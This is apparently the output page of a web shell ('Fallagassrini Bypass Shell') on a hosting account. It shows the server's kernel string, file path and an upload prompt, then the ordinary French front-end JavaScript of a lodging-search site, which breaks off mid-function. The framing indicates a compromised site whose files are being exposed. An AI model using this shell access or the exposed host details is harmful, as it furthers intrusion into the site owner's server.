Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/happyrenas/find.myreco.online/js/

Linux webd005.cluster105.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Upload File :
Current File : /home/happyrenas/find.myreco.online/js/find_myreco_js_refactor.js

/* =============================================================================
   Find.MyReco — JS refactorisé
   

   1) find-recherche.js
      - Configuration
      - Helpers
      - Etat global
      - Filtres
      - Cards / favoris
      - Autocomplete villes
      - Cache photos
      - Carte Leaflet
      - Home / top villes
      - Recherche API
      - Events principaux

   2) find-modales.js
      - Modale photos
      - Modale contact
      - Sélection des hébergements à contacter
      - Envoi formulaire contact

   Important :
   - Chargement find-recherche.js AVANT find-modales.js.
   - Les fonctions globales utiles aux modales sont exposées via window.FindMyReco.
============================================================================= */


/* =============================================================================
   FICHIER 1 — find-recherche.js
============================================================================= */

(() => {
  'use strict';

  /* --------------------------------------------------------------------------
     Configuration
  -------------------------------------------------------------------------- */
  const CONFIG = {
    debugPhotos: false,
    siteBaseUrl: 'https://www.myreco.online',
    placeholderImg: 'https://find.myreco.online/img/placeholder.svg',
	maxResults: 500,
	maxResultsHome: 6,
    autocompletePath: 'includes/data/villes_prefix',
    photoCacheUrl: 'ajax/photo_cache.php',
    searchUrl: 'ajax/recherche_hebergements.php',
    topVillesUrl: 'ajax/top_villes.php',
    cacheClearUrl: 'ajax/cache_clear.php'
  };

  const MARKER_STYLE_DEFAULT = { color: '#3388ff', fillColor: '#3388ff' };
  const MARKER_STYLE_LIKED = { color: '#ff385c', fillColor: '#ff385c' };

  /* --------------------------------------------------------------------------
     Helpers DOM / chaînes / formatage
  -------------------------------------------------------------------------- */
  const $ = (selector, root = document) => root.querySelector(selector);
  const $$ = (selector, root = document) => Array.from(root.querySelectorAll(selector));

  function escapeHtml(value) {
    return String(value ?? '').replace(/[&<>"']/g, (char) => ({
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      '"': '&quot;',
      "'": '&#039;'
    }[char]));
  }

  function normToken(token) {
    return String(token ?? '').trim();
  }

  function toAbsoluteUrl(url) {
    const cleanUrl = String(url ?? '').trim();

    if (!cleanUrl) return '';
    if (cleanUrl.startsWith('http://') || cleanUrl.startsWith('https://')) return cleanUrl;
    if (cleanUrl.startsWith('//')) return `https:${cleanUrl}`;
    if (cleanUrl.startsWith('/')) return `${CONFIG.siteBaseUrl}${cleanUrl}`;

    return `${CONFIG.siteBaseUrl}/${cleanUrl}`;
  }

  function buildLocalPhotoUrl(relativePath) {
    const rel = String(relativePath ?? '').trim();
    return rel ? `${CONFIG.siteBaseUrl}/upload/hebergement_multiple/${rel}` : '';
  }

  function normalizePhotosLocal(value) {
    return Array.isArray(value)
      ? value.map((item) => String(item ?? '').trim()).filter(Boolean)
      : [];
  }

  function parseCoord(value) {
    const number = parseFloat(String(value ?? '').replace(',', '.'));
    return Number.isFinite(number) ? number : null;
  }

  function formatRating(rating) {
    return rating;
  }

  function formatReviews(reviews) {
    const number = parseInt(reviews, 10);
    return Number.isFinite(number) && number > 0 ? number.toLocaleString('fr-FR') : '';
  }

  function fixBrokenUnicode(value) {
    // Corrige les chaînes du type "Pu00e9tanque" -> "Pétanque".
    return String(value ?? '').replace(/u([0-9a-fA-F]{4})/g, (_, hex) => {
      return String.fromCharCode(parseInt(hex, 16));
    });
  }

  function normalizeList(value) {
    return Array.isArray(value)
      ? value.map((item) => fixBrokenUnicode(String(item ?? '')).trim()).filter(Boolean)
      : [];
  }

  function normalizeSearch(value) {
    if (!value) return '';

    return String(value)
      .toLowerCase()
      .normalize('NFD')
      .replace(/[\u0300-\u036f]/g, '')
      .replace(/[-'’]/g, ' ')
      .replace(/[^a-z0-9 ]/g, '')
      .replace(/\s+/g, ' ')
      .trim();
  }

  function normalizeForPrefix2(value) {
    const city = (String(value ?? '').split(',')[0] || '').trim().toLowerCase();
    if (city.length < 2) return '';

    return city
      .normalize('NFD')
      .replace(/[\u0300-\u036f]/g, '')
      .replace(/[^a-z]/g, '')
      .slice(0, 2);
  }

  function safeCssEscape(value) {
    if (window.CSS && typeof CSS.escape === 'function') return CSS.escape(value);
    return String(value).replace(/"/g, '\\"');
  }

  function buildQueryString(paramsObject) {
    const params = new URLSearchParams();

    Object.entries(paramsObject).forEach(([key, value]) => {
      if (value !== undefined && value !== null && value !== '') {
        params.set(key, value);
      }
    });

    return params.toString();
  }

  async function fetchJson(url, options = {}) {
    const response = await fetch(url, {
      headers: { Accept: 'application/json', ...(options.headers || {}) },
      ...options
    });

    return response.json();
  }

  /* --------------------------------------------------------------------------
     Références DOM
  -------------------------------------------------------------------------- */
  const dom = {
    input: $('#qCity'),
    suggestBox: $('#suggestBox'),
    grid: $('#grid'),
    status: $('#status'),
    meta: $('#meta'),
    errorBox: $('#errorBox'),
    errorMsg: $('#errorMsg'),
    btnClearCache: $('#btnClearCache'),
    radiusSelect: $('#qRadius'),
    guestsSelect: $('#qGuests'),
    split: $('#resultsSplit'),
    btnToggleMap: $('#btnToggleMap'),
    btnShuffle: $('#btnShuffle'),
    filtersBar: $('#filtersBar'),
    resultsBlock: $('#resultsBlock'),
    homeSections: $('#homeSections'),
    topVilles: $('#topVilles'),
    debugRecherche: $('#debugRecherche'),
    btnSearch: $('#btnSearch')
  };

  /* --------------------------------------------------------------------------
     Etat global
  -------------------------------------------------------------------------- */
  const state = {
    lastResults: [],
    prefixCache: {},
    likedTokens: new Set(),
    likedAtByToken: new Map(),
    filters: {
      types: new Set(),
      piscine: false
    },
    map: {
      instance: null,
      layer: null,
      ready: false,
      markerByToken: new Map()
    }
  };

  function getResultByToken(token) {
    const cleanToken = normToken(token);
    return state.lastResults.find((item) => normToken(item.token) === cleanToken) || null;
  }

  /* --------------------------------------------------------------------------
     UI générale
  -------------------------------------------------------------------------- */
  function setModeHome() {
    if (dom.resultsBlock) dom.resultsBlock.style.display = 'none';
    if (dom.homeSections) dom.homeSections.style.display = 'block';

    if (dom.grid) dom.grid.innerHTML = '';
    if (dom.status) dom.status.textContent = '—';
    if (dom.meta) dom.meta.textContent = '—';
    if (dom.btnClearCache) dom.btnClearCache.style.display = 'none';
  }

  function setModeResults() {
    if (dom.homeSections) dom.homeSections.style.display = 'none';
    if (dom.resultsBlock) dom.resultsBlock.style.display = 'block';

    // Carte affichée par défaut en mode résultats.
    if (dom.split) dom.split.classList.add('is-map');
    if (dom.btnToggleMap) dom.btnToggleMap.innerHTML = '<i class="bi bi-list me-1"></i>Liste';
  }

  function setError(message) {
    if (dom.errorMsg) dom.errorMsg.textContent = message;
    if (dom.errorBox) dom.errorBox.style.display = 'block';
    setModeHome();
  }

  function clearError() {
    if (dom.errorBox) dom.errorBox.style.display = 'none';
    if (dom.errorMsg) dom.errorMsg.textContent = '';
  }

  function setLoading() {
    if (!dom.grid) return;

    dom.grid.innerHTML = `
      <div class="col-sm-6 col-lg-4"><div class="skel"></div></div>
      <div class="col-sm-6 col-lg-4"><div class="skel"></div></div>
      <div class="col-sm-6 col-lg-4"><div class="skel"></div></div>
    `;
  }

  function ensureVisibleIfNeeded(element, offset = 120, padding = 16) {
    if (!element) return;

    const rect = element.getBoundingClientRect();
    const topLimit = offset;
    const bottomLimit = window.innerHeight - padding;

    if (rect.top < topLimit) {
      window.scrollTo({ top: window.scrollY + rect.top - topLimit, behavior: 'smooth' });
      return;
    }

    if (rect.bottom > bottomLimit) {
      window.scrollTo({ top: window.scrollY + rect.bottom - bottomLimit, behavior: 'smooth' });
    }
  }

  function pulseCard(card) {
    if (!card) return;

    card.classList.remove('pulse');
    void card.offsetWidth;
    card.classList.add('pulse');

    window.setTimeout(() => card.classList.remove('pulse'), 900);
  }

  function flipReorder(container, mutateFn, options = {}) {
    if (!container || typeof mutateFn !== 'function') return;

    const duration = Number(options.duration ?? 260);
    const easing = String(options.easing ?? 'cubic-bezier(.2,.8,.2,1)');
    const before = new Map();

    Array.from(container.children).forEach((element) => {
      before.set(element, element.getBoundingClientRect());
    });

    mutateFn();

    Array.from(container.children).forEach((element) => {
      const after = element.getBoundingClientRect();
      const previous = before.get(element);
      if (!previous) return;

      const dx = previous.left - after.left;
      const dy = previous.top - after.top;

      if (dx || dy) {
        element.animate([
          { transform: `translate(${dx}px, ${dy}px)` },
          { transform: 'translate(0,0)' }
        ], { duration, easing, fill: 'both' });
      }
    });
  }

  /* --------------------------------------------------------------------------
     Filtres
  -------------------------------------------------------------------------- */
  function getActiveTypes() {
    return Array.from(state.filters.types);
  }

  function setFilterBtnState() {
    if (!dom.filtersBar) return;

    $$('.js-filter[data-filter="type"]', dom.filtersBar).forEach((button) => {
      const type = button.getAttribute('data-value');
      button.classList.toggle('active', state.filters.types.has(type));
    });

    const piscineButton = $('.js-filter[data-filter="piscine"]', dom.filtersBar);
    if (piscineButton) piscineButton.classList.toggle('active', state.filters.piscine);
  }

  function resetFilters() {
    state.filters.types.clear();
    state.filters.piscine = false;
    setFilterBtnState();
  }

  /* --------------------------------------------------------------------------
     Equipements / mini-pills / facts
  -------------------------------------------------------------------------- */
  function renderEquipementsChips(equipements, max = 3) {
    const list = normalizeList(equipements);
    if (!list.length) return '';

    const shown = list.slice(0, max);
    const more = list.length - shown.length;
    const chips = shown.map((label) => `<span class="chip-mini">${escapeHtml(label)}</span>`).join('');
    const moreHtml = more > 0 ? `<span class="chip-mini">+${more}</span>` : '';

    return `<div class="d-flex flex-wrap gap-1 justify-content-end">${chips}${moreHtml}</div>`;
  }

  function buildParkingHtml(parking) {
    const value = String(parking ?? '').toLowerCase();
    let label = '—';
    let icon = 'bi bi-p-circle';
    let className = 'mini-pill';

    if (!value || value.includes('aucun')) {
      label = 'Pas de parking';
      icon = 'bi bi-ban';
      className += ' is-muted';
    } else if (value.includes('ouvert')) {
      label = 'Parking ouvert';
      icon = 'bi bi-p-circle-fill';
    } else if (value.includes('ferme') || value.includes('fermé')) {
      label = 'Parking fermé';
      icon = 'bi bi-p-square-fill';
    } else {
      label = parking;
    }

    return `<span class="${className}"><i class="${icon}"></i><span class="lbl">${escapeHtml(label)}</span></span>`;
  }

  function buildFactsHtml(result) {
    const data = result.donnees && typeof result.donnees === 'object' ? result.donnees : {};
    const capacite = parseInt(data.capacite, 10);
    const chambres = parseInt(data.nb_chambres, 10);
    const sdb = parseInt(data.nb_sdb, 10);
    const items = [];

    if (Number.isFinite(capacite) && capacite > 0) {
      items.push(`<span class="mini-pill"><i class="bi bi-people-fill"></i><span class="lbl">${capacite} pers.</span></span>`);
    }

    if (Number.isFinite(chambres) && chambres > 0) {
      items.push(`<span class="mini-pill"><i class="bi bi-door-closed-fill"></i><span class="lbl">${chambres} ch.</span></span>`);
    }

    if (Number.isFinite(sdb) && sdb > 0) {
      items.push(`<span class="mini-pill"><i class="bi bi-droplet-fill"></i><span class="lbl">${sdb} sdb</span></span>`);
    }

    items.push(buildParkingHtml(result.parking));

    return `<div class="facts-row">${items.join('')}</div>`;
  }

  function iconForItem(label) {
    const text = String(label || '').toLowerCase();

    if (text.includes('piscine')) return 'bi bi-water';
    if (text.includes('jacuzzi')) return 'bi bi-droplet';
    if (text.includes('hammam')) return 'bi bi-cloud-haze2';
    if (text.includes('barbecue') || text.includes('plancha')) return 'bi bi-fire';
    if (text.includes('ping')) return 'bi bi-circle';
    if (text.includes('pétanque') || text.includes('petanque')) return 'bi bi-bullseye';
    if (text.includes('babyfoot')) return 'bi bi-controller';
    if (text.includes('billard')) return 'bi bi-record-circle';
    if (text.includes('fléchette') || text.includes('flechette')) return 'bi bi-bullseye';
    if (text.includes('raquette')) return 'bi bi-activity';
    if (text.includes('toboggan')) return 'bi bi-water';

    return 'bi bi-check2-circle';
  }

  function renderMiniPills(items, kind) {
    const list = normalizeList(items);
    if (!list.length) return '';

    const title = kind === 'act' ? 'Activités' : 'Équipements';
    const pills = list.map((label) => `
      <span class="mini-pill">
        <i class="${iconForItem(label)}"></i>
        <span class="lbl">${escapeHtml(label)}</span>
      </span>
    `).join('');

    return `
      <div class="mini-line">
        <div class="mini-title">${title}</div>
        <div class="mini-wrap">${pills}</div>
      </div>
    `;
  }

  /* --------------------------------------------------------------------------
     Cards / favoris
  -------------------------------------------------------------------------- */
  function buildRatingHtml(result) {
    const ratingText = formatRating(result.rating);
    const reviewsText = formatReviews(result.reviews);

    if (ratingText && reviewsText) {
      return `
        <span class="badge-soft">
          <i class="bi bi-star-fill" style="color:#ff385c"></i>
          ${escapeHtml(ratingText)}
          <span style="color:var(--muted); font-weight:700;">(${escapeHtml(reviewsText)})</span>
        </span>
      `;
    }

    if (ratingText) {
      return `
        <span class="badge-soft">
          <i class="bi bi-star-fill" style="color:#ff385c"></i>${escapeHtml(ratingText)}
        </span>
      `;
    }

    return '';
  }

  function buildDebugHtml(result) {
    if (!CONFIG.debugPhotos) return '';

    return `
      <div class="debug-box">
        <div><strong>token:</strong> ${escapeHtml(String(result.token ?? ''))}</div>
        <div><strong>photo:</strong> ${escapeHtml(String(result.photo ?? '').slice(0, 120))}</div>
        <div><strong>photo_locale:</strong> ${escapeHtml(String(result.photo_locale ?? '').slice(0, 120))}</div>
        <div><strong>photo_src:</strong> ${escapeHtml(String(result.photo_src ?? '').slice(0, 120))}</div>
        <div><strong>local_exists:</strong> ${result.photo_local_exists ? '✅ true' : '❌ false'}</div>
      </div>
    `;
  }

  function cardHtml(result) {
    const rawToken = normToken(result.token);
    const token = escapeHtml(rawToken);
    const isLiked = state.likedTokens.has(rawToken);
    const likedAt = state.likedAtByToken.get(rawToken) || 0;

    const imgSrc = result.photo_src && String(result.photo_src).trim() !== ''
      ? toAbsoluteUrl(result.photo_src)
      : CONFIG.placeholderImg;

    const extraPhotos = normalizePhotosLocal(result.photos_local_json);
    const photosBadgeHtml = extraPhotos.length
      ? `
        <button type="button" class="photos-badge" data-action="open-photos" data-token="${token}" title="Voir les photos">
          <i class="bi bi-images"></i><span>${extraPhotos.length}</span>
        </button>
      `
      : '';

    const name = escapeHtml(result.name);
    const ville = escapeHtml(result.ville);
    const postalCode = result.postal_code ? `(${escapeHtml(result.postal_code)})` : '';
    const type = result.type_hebergement ? `<span class="mini-pill">${escapeHtml(result.type_hebergement)}</span>` : '';
    const price = parseFloat(result.tarif_nuit || 0) > 0 ? `${escapeHtml(result.tarif_nuit)}€` : '';
    const priceHtml = price
      ? `<strong>${price}</strong> <span style="color:var(--muted)">/ nuit</span>`
      : '<span style="color:var(--muted)">—</span>';

    const data = result.donnees && typeof result.donnees === 'object' ? result.donnees : {};

    return `
      <div class="col-12 col-sm-6 col-lg-4${isLiked ? ' is-liked' : ''}" ${isLiked ? `data-liked-at="${likedAt}"` : ''}>
        <div class="card-heb${isLiked ? ' is-active' : ''}" data-token="${token}">
          <div class="cover">
            <img class="heb-img" data-token="${token}" alt="" loading="lazy"
                 src="${escapeHtml(imgSrc)}"
                 onerror="this.onerror=null; this.src='${CONFIG.placeholderImg}';" />

            ${photosBadgeHtml}

            <div class="top-badges">
              <span class="badge-soft"><i class="bi bi-signpost-2 me-1"></i>${escapeHtml(result.distance)} km</span>
              <div class="d-flex align-items-center gap-2">
                ${buildRatingHtml(result)}
                <div class="like${isLiked ? ' liked' : ''}" title="Favori">
                  <i class="bi ${isLiked ? 'bi-heart-fill' : 'bi-heart'}"></i>
                </div>
              </div>
            </div>
          </div>

          <div class="card-bodyy">
            <div class="title-row">
              <div class="title">${name}</div>
              ${type}
            </div>

            <div class="sub"><i class="bi bi-geo-alt me-1"></i>${ville} ${postalCode}</div>

            ${buildFactsHtml(result)}
            ${renderMiniPills(result.equipements, 'equip')}
            ${renderMiniPills(result.activites, 'act')}

            <div class="tags"></div>

            <div class="price">
              <div>${priceHtml}</div>

              <button type="button" class="btn btn-ghost btn-sm btnContact"
                      data-token="${token}"
                      data-name="${name}"
                      data-ville="${ville}"
                      data-country=""
                      data-capacite="${escapeHtml(data.capacite || '')}"
                      data-chambres="${escapeHtml(data.nb_chambres || '')}"
                      data-sdb="${escapeHtml(data.nb_sdb || '')}"
                      data-parking="${escapeHtml(result.parking || '')}"
                      data-type="${escapeHtml(result.type_hebergement || '')}"
                      data-prix="${escapeHtml(result.tarif_nuit || '')}">
                Contacter l’hôte
              </button>
            </div>

            ${buildDebugHtml(result)}
          </div>
        </div>
      </div>
    `;
  }

  function sortCardsInWrap(container) {
    if (!container) return;

    const columns = Array.from(container.children);

    columns.sort((a, b) => {
      const aLiked = a.classList.contains('is-liked');
      const bLiked = b.classList.contains('is-liked');

      if (aLiked !== bLiked) return bLiked - aLiked;

      if (aLiked && bLiked) {
        return Number(b.dataset.likedAt || 0) - Number(a.dataset.likedAt || 0);
      }

      return Number(a.dataset.order || 0) - Number(b.dataset.order || 0);
    });

    columns.forEach((column) => container.appendChild(column));
  }

  function syncMarkerLikeState(token, liked) {
    const marker = state.map.markerByToken.get(token);
    if (marker) marker.setStyle(liked ? MARKER_STYLE_LIKED : MARKER_STYLE_DEFAULT);
  }

  function toggleLike(button) {
    try {
      button.animate([
        { transform: 'scale(1)' },
        { transform: 'scale(1.18)' },
        { transform: 'scale(1)' }
      ], { duration: 220, easing: 'cubic-bezier(.2,.8,.2,1)' });
    } catch (error) {}

    button.classList.toggle('liked');

    const icon = $('i', button);
    const liked = button.classList.contains('liked');
    const card = button.closest('.card-heb');
    const column = card ? card.parentElement : null;
    const container = column ? column.parentElement : null;
    const token = card ? normToken(card.getAttribute('data-token')) : '';

    if (liked) {
      icon?.classList.remove('bi-heart');
      icon?.classList.add('bi-heart-fill');

      if (token) {
        state.likedTokens.add(token);
        state.likedAtByToken.set(token, Date.now());
      }

      if (column) {
        column.classList.add('is-liked');
        column.dataset.likedAt = String(state.likedAtByToken.get(token) || Date.now());
      }

      if (card) {
        card.classList.add('is-active');
        pulseCard(card);
      }
    } else {
      icon?.classList.add('bi-heart');
      icon?.classList.remove('bi-heart-fill');

      if (token) {
        state.likedTokens.delete(token);
        state.likedAtByToken.delete(token);
      }

      if (column) {
        column.classList.remove('is-liked');
        delete column.dataset.likedAt;
      }

      if (card) card.classList.remove('is-active');
    }

    if (token) syncMarkerLikeState(token, liked);

    if (container && column) {
      const beforeTop = column.getBoundingClientRect().top;
      flipReorder(container, () => sortCardsInWrap(container), { duration: 280 });
      const afterTop = column.getBoundingClientRect().top;
      const delta = afterTop - beforeTop;

      if (Math.abs(delta) > 1) window.scrollBy({ top: delta, left: 0 });
      requestAnimationFrame(() => ensureVisibleIfNeeded(column, 120, 16));
    } else {
      requestAnimationFrame(() => ensureVisibleIfNeeded(card || button, 120, 16));
    }
  }

  function renderResultsInto(results, targetElement, limit = 10) {
    if (!targetElement) return;

    const list = Array.isArray(results) ? results.slice(0, limit) : [];

    if (!list.length) {
      targetElement.innerHTML = '<div class="col-12"><div class="alert alert-light border">Aucun hébergement trouvé.</div></div>';
      return;
    }

    targetElement.innerHTML = list.map(cardHtml).join('');

    Array.from(targetElement.children).forEach((column, index) => {
      column.dataset.order = String(index);
    });

    $$('.like', targetElement).forEach((button) => {
      button.addEventListener('click', (event) => {
        event.preventDefault();
        event.stopPropagation();
        toggleLike(button);
      });
    });

    window.FindMyReco?.syncContactButtons?.();
  }

  function renderResults(results) {
    renderResultsInto(results, dom.grid, CONFIG.maxResults);
  }

  /* --------------------------------------------------------------------------
     Autocomplete villes
  -------------------------------------------------------------------------- */
  async function loadPrefix(prefix2) {
    if (!prefix2) return [];
    if (state.prefixCache[prefix2]) return state.prefixCache[prefix2];

    try {
      const data = await fetchJson(`${CONFIG.autocompletePath}/villes_${prefix2}.json`, { cache: 'force-cache' });
      state.prefixCache[prefix2] = Array.isArray(data) ? data : [];
      return state.prefixCache[prefix2];
    } catch (error) {
      return [];
    }
  }

  function buildSuggestionItem(item) {
    let city = '';
    let postalCode = '';
    let countryCode = '';
    let value = '';

    if (typeof item === 'object' && item !== null) {
      city = String(item.city || '').trim();
      postalCode = String(item.postal_code || '').trim();
      countryCode = String(item.country_code || '').trim();
      value = String(item.value || `${city}, ${postalCode}, ${countryCode}`).trim();
    } else {
      value = String(item || '').trim();
      const parts = value.split(',');
      city = (parts[0] || '').trim();
      countryCode = (parts[1] || '').trim();
    }

    return `
      <div class="item" data-val="${escapeHtml(value)}">
        <div><strong>${escapeHtml(city)}</strong></div>
        <small>${escapeHtml(postalCode ? `${postalCode} · ${countryCode}` : countryCode)}</small>
      </div>
    `;
  }

  function showSuggestions(items) {
    if (!dom.suggestBox) return;

    if (!items || !items.length) {
      dom.suggestBox.style.display = 'none';
      dom.suggestBox.innerHTML = '';
      return;
    }

    dom.suggestBox.innerHTML = items.map(buildSuggestionItem).join('');
    dom.suggestBox.style.display = 'block';
  }

  function filterAutocompleteItems(list, value) {
    const query = normalizeSearch(value);

    return list.filter((item) => {
      if (typeof item === 'object' && item !== null) {
        const city = normalizeSearch(item.city || '');
        const postalCode = String(item.postal_code || '');
        const countryCode = String(item.country_code || '').toLowerCase();
        const label = normalizeSearch(item.label || '');
        const itemValue = normalizeSearch(item.value || '');

        return (
          city.startsWith(query) ||
          label.startsWith(query) ||
          itemValue.startsWith(query) ||
          postalCode.startsWith(query) ||
          `${city} ${postalCode} ${countryCode}`.includes(query)
        );
      }

      return normalizeSearch(item).startsWith(query);
    }).slice(0, 12);
  }

  /* --------------------------------------------------------------------------
     Cache photos
  -------------------------------------------------------------------------- */
  async function cacheMissingPhotos(results) {
    const queue = (results || [])
      .filter((item) => (!item.photo_locale || String(item.photo_locale).trim() === '') && item.photo && item.token)
      .map((item) => ({ token: String(item.token), table: 'heb' }));

    if (!queue.length) return;

    let index = 0;
    const concurrency = 2;

    async function worker() {
      while (index < queue.length) {
        const job = queue[index++];

        try {
          const form = new FormData();
          form.append('token', job.token);
          form.append('table', job.table);

          const data = await fetchJson(CONFIG.photoCacheUrl, { method: 'POST', body: form });

          if (data.ok && data.url) {
            const selector = `img.heb-img[data-token="${safeCssEscape(job.token)}"]`;
            const image = $(selector) || $$('img.heb-img').find((img) => img.getAttribute('data-token') === job.token);
            if (image) image.src = toAbsoluteUrl(data.url);
          }
        } catch (error) {}
      }
    }

    await Promise.all(Array.from({ length: concurrency }, worker));
  }

  /* --------------------------------------------------------------------------
     Carte Leaflet
  -------------------------------------------------------------------------- */
  function initMapOnce() {
    if (state.map.ready) return;

    if (typeof L === 'undefined') {
      console.error('[MAP] Leaflet non chargé : L est undefined.');
      return;
    }

    state.map.instance = L.map('map', { zoomControl: true, scrollWheelZoom: true });

    L.tileLayer('https://tile.openstreetmap.org/{z}/{x}/{y}.png', {
      maxZoom: 19,
      attribution: '&copy; OpenStreetMap'
    }).addTo(state.map.instance);

    state.map.layer = L.layerGroup().addTo(state.map.instance);
    state.map.ready = true;
  }

  function clearMap() {
    if (!state.map.ready) return;

    state.map.layer.clearLayers();
    state.map.markerByToken.clear();
  }

  function updateMap(results) {
    if (!state.map.ready) return;

    clearMap();

    const bounds = [];
    let added = 0;

    (results || []).forEach((result) => {
      const lat = parseCoord(result.latitude);
      const lon = parseCoord(result.longitude);
      if (lat === null || lon === null) return;

      const token = normToken(result.token);
      const isLiked = state.likedTokens.has(token);

      const marker = L.circleMarker([lat, lon], {
        radius: 8,
        weight: 2,
        fillOpacity: 0.9,
        ...(isLiked ? MARKER_STYLE_LIKED : MARKER_STYLE_DEFAULT)
      }).addTo(state.map.layer);

      marker.bindTooltip(String(result.name || ''), {
        direction: 'top',
        offset: [0, -10],
        opacity: 0.95
      });

      marker.on('click', () => {
        const card = $(`.card-heb[data-token="${safeCssEscape(token)}"]`);
        if (!card) return;

        card.scrollIntoView({ behavior: 'smooth', block: 'center' });
        card.classList.add('is-active');
        setTimeout(() => card.classList.remove('is-active'), 900);
      });

      state.map.markerByToken.set(token, marker);
      bounds.push([lat, lon]);
      added++;
    });

    console.log('[MAP] markers added:', added);

    if (bounds.length) {
      state.map.instance.fitBounds(bounds, { padding: [40, 40] });
    } else {
      state.map.instance.setView([48.8566, 2.3522], 12);
    }

    setTimeout(() => state.map.instance.invalidateSize(), 50);
  }

  function bindCardsToMap() {
    $$('.card-heb[data-token]').forEach((card) => {
      if (card.dataset.mapBound === '1') return;
      card.dataset.mapBound = '1';

      const token = card.getAttribute('data-token');

      card.addEventListener('mouseenter', () => {
        const marker = state.map.markerByToken.get(token);
        if (marker) marker.setStyle({ radius: 11 });
      });

      card.addEventListener('mouseleave', () => {
        const marker = state.map.markerByToken.get(token);
        if (marker) marker.setStyle({ radius: 8 });
      });

      card.addEventListener('click', (event) => {
        if (event.target.closest('a, button, .like, .photos-badge')) return;

        const marker = state.map.markerByToken.get(token);
        if (!marker || !state.map.instance) return;

        state.map.instance.panTo(marker.getLatLng(), { animate: true, duration: 0.5 });
        marker.openTooltip();
      });
    });
  }

  function refreshMapIfVisible() {
    if (!dom.split?.classList.contains('is-map')) return;

    initMapOnce();
    updateMap(state.lastResults);
    bindCardsToMap();
  }

  /* --------------------------------------------------------------------------
     Home / top villes
  -------------------------------------------------------------------------- */
  function setRadiusValue(rayon) {
    if (!dom.radiusSelect) return;

    const value = parseInt(rayon, 10);
    if (!Number.isFinite(value) || value <= 0) return;

    if (!Array.from(dom.radiusSelect.options).some((option) => option.value === String(value))) {
      const option = document.createElement('option');
      option.value = String(value);
      option.textContent = `${value} km`;
      dom.radiusSelect.appendChild(option);
    }

    dom.radiusSelect.value = String(value);
  }

  function setGuestsValue(value) {
    if (dom.guestsSelect && value) dom.guestsSelect.value = value;
  }

  function runSearchFromCity(ville, rayon, voyageurs) {
    if (!dom.input) return;

    dom.input.value = ville;
    setRadiusValue(rayon);
    setGuestsValue(voyageurs);
    doSearch({ forceLive: false });

    if (window.matchMedia('(max-width: 768px)').matches) {
      window.scrollTo({ top: 0, behavior: 'smooth' });
    }
  }

  async function loadHomeTop3() {
    if (!dom.homeSections) return;

    dom.homeSections.innerHTML = '';

    try {
      const data = await fetchJson(`${CONFIG.topVillesUrl}?limit=5`);

      if (!data.ok || !Array.isArray(data.items) || !data.items.length) {
        dom.homeSections.innerHTML = '';
        return;
      }

      for (const item of data.items) {
        const villePays = item.ville_pays;
        const rayon = parseInt(item.rayon_km, 10) || 10;
        const voyageurs = item.nombre_voyageurs || 0;

        const section = document.createElement('div');
        section.className = 'mb-4';
        section.innerHTML = `
          <div class="d-flex align-items-end justify-content-between mb-2 mt-5">
            <h5 class="fw-bold mb-0 home-link" style="cursor:pointer;"
                data-ville="${escapeHtml(villePays)}"
                data-rayon="${escapeHtml(rayon)}"
                data-voyageurs="${escapeHtml(voyageurs)}">
              Hébergements autour de <span style="color:var(--accent)">“${escapeHtml(villePays)}”</span>
            </h5>
            <div class="small" style="color:var(--muted)">
              Rayon ${escapeHtml(rayon)} km${voyageurs ? ` • ${escapeHtml(voyageurs)} pers.` : ''}
            </div>
          </div>
          <div class="row g-3" data-home-grid="1">
            <div class="col-12"><div class="skel" style="height:220px"></div></div>
          </div>
        `;

        dom.homeSections.appendChild(section);

        $('.home-link', section)?.addEventListener('click', (event) => {
          const link = event.currentTarget;
          runSearchFromCity(link.dataset.ville, link.dataset.rayon, link.dataset.voyageurs);
        });

        const params = buildQueryString({ ville_pays: villePays, rayon_km: rayon });
        const searchData = await fetchJson(`${CONFIG.searchUrl}?${params}`);
        const results = searchData?.ok && Array.isArray(searchData.results) ? searchData.results : [];

        renderResultsInto(results, $('[data-home-grid="1"]', section), CONFIG.maxResultsHome);
        cacheMissingPhotos(results);
      }
    } catch (error) {
      dom.homeSections.innerHTML = '';
    }
  }

  async function loadTopVilles() {
    if (!dom.topVilles) return;

    dom.topVilles.innerHTML = '';

    try {
      const data = await fetchJson(`${CONFIG.topVillesUrl}?limit=15`);
      if (!data.ok || !Array.isArray(data.items) || !data.items.length) return;

      dom.topVilles.innerHTML = data.items.map((item) => {
        const value = String(item.ville_pays || '');
        const parts = value.split(',');
        const city = (parts[0] || '').trim();
        const postal = (parts[1] || '').trim();
        const countryCode = (parts[2] || '').trim();
        const label = postal ? `${city} (${postal}), ${countryCode}` : value;
        const rayon = parseInt(item.rayon_km, 10) || 10;
        const compteur = parseInt(item.compteur, 10) || 0;

        return `
          <button class="chip" type="button"
                  data-ville="${escapeHtml(value)}"
                  data-voyageurs="${escapeHtml(item.nombre_voyageurs || '')}"
                  data-rayon="${rayon}">
            <i class="bi bi-geo-alt me-1"></i>${escapeHtml(label)}
            <span class="ms-1" style="color:var(--muted)">(${compteur})</span>
          </button>
        `;
      }).join('');

      $$('button[data-ville]', dom.topVilles).forEach((button) => {
        button.addEventListener('click', () => {
          runSearchFromCity(button.dataset.ville, button.dataset.rayon, button.dataset.voyageurs);
        });
      });
    } catch (error) {}
  }

  /* --------------------------------------------------------------------------
     Recherche API
  -------------------------------------------------------------------------- */
  function renderDebugRecherche(data) {
    if (!dom.debugRecherche) return;

    if (!data.debug_recherche) {
      dom.debugRecherche.style.display = 'none';
      dom.debugRecherche.innerHTML = '';
      return;
    }

    dom.debugRecherche.style.display = 'block';
    dom.debugRecherche.innerHTML = `
      <strong>Debug recherche</strong><br>
      ville_pays : ${escapeHtml(data.debug_recherche.ville_pays)}<br>
      rayon_km : ${escapeHtml(data.debug_recherche.rayon_km)}<br>
      nombre_voyageurs : ${escapeHtml(data.debug_recherche.nombre_voyageurs)}<br>
      <hr>
      <strong>Requête cache :</strong>
      <pre style="white-space:pre-wrap;margin-top:8px;">${escapeHtml(data.debug_recherche.requete_insert_cache)}</pre>
    `;
  }

  async function doSearch(options = { forceLive: false }) {
    clearError();
    setModeResults();

    const villePays = dom.input?.value.trim() || '';
    const rayonKm = dom.radiusSelect?.value || '';
    const nombreVoyageurs = dom.guestsSelect ? parseInt(dom.guestsSelect.value, 10) || 0 : 0;

